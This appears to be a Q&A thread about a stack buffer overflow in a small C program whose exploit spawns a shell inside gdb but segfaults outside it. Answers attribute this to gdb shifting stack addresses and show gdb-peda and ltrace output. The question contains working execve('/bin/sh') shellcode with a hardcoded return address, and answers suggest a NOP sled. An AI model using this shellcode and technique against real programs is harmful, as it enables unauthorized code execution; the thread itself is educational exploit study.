I have a vulnerable program in c which copy argv into a buffer and then print it:

# include <string.h>
# include <stdio.h>
# include <stdlib.h>

void func(char * arg){
   char name[32];
   strcpy(name, arg);
   printf("\n Welcome %s\n\n", name);

int main(int argc, char *argv[]) {
    if (argc < 2){
       printf("Use: %s Name\n", argv[0]);
   return 0;

I have compiled it with gcc with no stack protector and execstack, then I have used gdb to see the memory point where I should change the EIP. But I have noticed that the shellcode is executed (the exploit works) only when I'm in gdb but outside it doesn't work.


$ gdb ./prog -q
(gdb) run `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"'`
$ whoami

Doesn't work:

$ ./prog `perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"."AAAAAAAAAAAAAAAAAAAAA"."\x30\xf6\xff\xbf"'`
segmentation fault

Why this happens? I think that this code should work outside gdb, too.

  • I get the exact same segfault when I compile and run both of those situations. When using a debugger there are lots of things that it can change/manipulate in the environment so that it's able to debug a program. I would look at some of the core dumps you get in GDB since you'll get a more accurate representation of the environment in which it's failing. – RoraΖ Sep 22 '16 at 13:57

It's possible that GDB is messing with your memory layout at runtime, making everything line up as you need it to. It might be worth ensuring that core dumps are created then use GDB to do some post-mortem debugging to see if your code is actually being hit.

Alternatively EIP may be being set as expected but your payload may have moved, in which case consider a NOP sled and aim EIP for that.

| improve this answer | |
  • It looks like GDB distributes the memory different as you said, so the EIP was wrong. I had to test some positions from the EIP that GDB gave me. So i found that "\x30\xf6\xff\xbf" was correct inside GDB but outside the correct EIP was "\x70\xf6\xff\xbf". I think GDB is not very trustworthy in this case. – Osmond Sep 25 '16 at 15:20
  • @Osmond I don't think it's that GDB is untrustworthy, but that it was designed for debugging not exploitation. It's distribution of memory is necessary for how it allows you to view a program's execution. Also keep in mind that debug builds (-g option) will also active differently. – RoraΖ Sep 26 '16 at 11:13

As others have said, gdb and shell are using different addresses, causing problems with the return address. I added a few nops and ran it in GDB and in a shell with ltrace to find the location differences. See below:

In GDB the string is copied into 0xbffff0c0

EAX: 0xbffff0c0 --> 0x90909090 
EBX: 0xb7fc0000 --> 0x1abda8 
ECX: 0xbffff3c0 --> 0x47445800 ('')
EDX: 0xbffff0f0 --> 0xbffff300 --> 0x80483b0 (<_start>: xor    ebp,ebp)
ESI: 0x0 
EDI: 0x0 
EBP: 0xbffff0e8 ("AAAA\300\360\377\277")
ESP: 0xbffff0b0 --> 0xbffff0c0 --> 0x90909090 
EIP: 0x80484c5 (:  lea    eax,[ebp-0x28])
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
   0x80484ba : lea    eax,[ebp-0x28]
   0x80484bd : mov    DWORD PTR [esp],eax
   0x80484c0 : call   0x8048360 
=> 0x80484c5 : lea    eax,[ebp-0x28]
   0x80484c8 : mov    DWORD PTR [esp+0x4],eax
   0x80484cc : mov    DWORD PTR [esp],0x80485c0
   0x80484d3 : call   0x8048350 
   0x80484d8 : leave
0000| 0xbffff0b0 --> 0xbffff0c0 --> 0x90909090 
0004| 0xbffff0b4 --> 0xbffff390 --> 0x90909090 
0008| 0xbffff0b8 --> 0xb7e20c34 --> 0x2aad 
0012| 0xbffff0bc --> 0xb7e472f3 (<__new_exitfn+19>: add    ebx,0x178d0d)
0016| 0xbffff0c0 --> 0x90909090 
0020| 0xbffff0c4 --> 0xc0319090 
0024| 0xbffff0c8 ("Ph//shh/bin\211\343PS\211\341\260\v̀", 'A' , "\300\360\377\277")
0028| 0xbffff0cc ("shh/bin\211\343PS\211\341\260\v̀", 'A' , "\300\360\377\277")
Legend: code, data, rodata, value

Breakpoint 2, 0x080484c5 in func () gdb-peda$

In the shell the string is copied into 0xbffff130

mbe@mbe-VirtualBox:~/test$ ltrace ./a.out asdf
__libc_start_main(0x80484da, 2, 0xbffff214, 0x8048530 
strcpy(0xbffff130, "asdf")                        = 0xbffff130

| improve this answer | |

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.